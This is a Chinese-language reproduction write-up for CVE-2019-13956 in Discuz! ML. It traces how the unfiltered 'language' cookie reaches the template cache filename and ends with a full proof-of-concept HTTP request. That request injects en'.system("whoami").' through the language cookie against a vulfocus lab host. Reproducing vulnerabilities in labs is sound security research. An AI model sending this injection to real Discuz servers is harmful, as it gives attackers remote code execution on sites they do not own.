【漏洞描述】:

该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行。

【环境搭建】:

https://vulfocus.cn/ discuz!ML 代码执行 (CVE-2019-13956)一键启动

【复现过程】

(详细说明完整复现过程,并尽量与规则文件的 rule 对应起来。)

1、漏洞点/upload/source/module/portal/portal_index.php,使用template函数处理diy:portal/index,然后使用include_once包含

2、进入tmplate,发现把DISCUZ_LANG函数拼接成为一个缓存文件名,然后又返回了缓存文件名

3、跟进DISCUZ_LANG函数,发现从cookie中取language的值给$lng,由于参数$lng可控 ,导致了 cookie中的language参数存在代码注入。

image-20221027112258117

4、访问 http://123.58.224.8:30338/安装后打开首页抓个包,修改cookie的OEIq_2132_language参数为:en'.system("whoami").'

5、POC

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: 123.58.224.8:30338
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://123.58.224.8:30338/install/index.php?method=ext_info&language=sc
Cookie: PHPSESSID=5do6pf44im0qg3m1hivbupaeh3; x-token=PfyuxmzgIzr-UnHekoIGYToODGb039N150QnO7mEHhA; OEIq_2132_saltkey=aNs7oo06; OEIq_2132_language=en'.system("whoami").'; OEIq_2132_lastvisit=1665721984; OEIq_2132_sid=PnZBb3; OEIq_2132_lastact=1665725584%09misc.php%09initsys.phpinfo()
Upgrade-Insecure-Requests: 1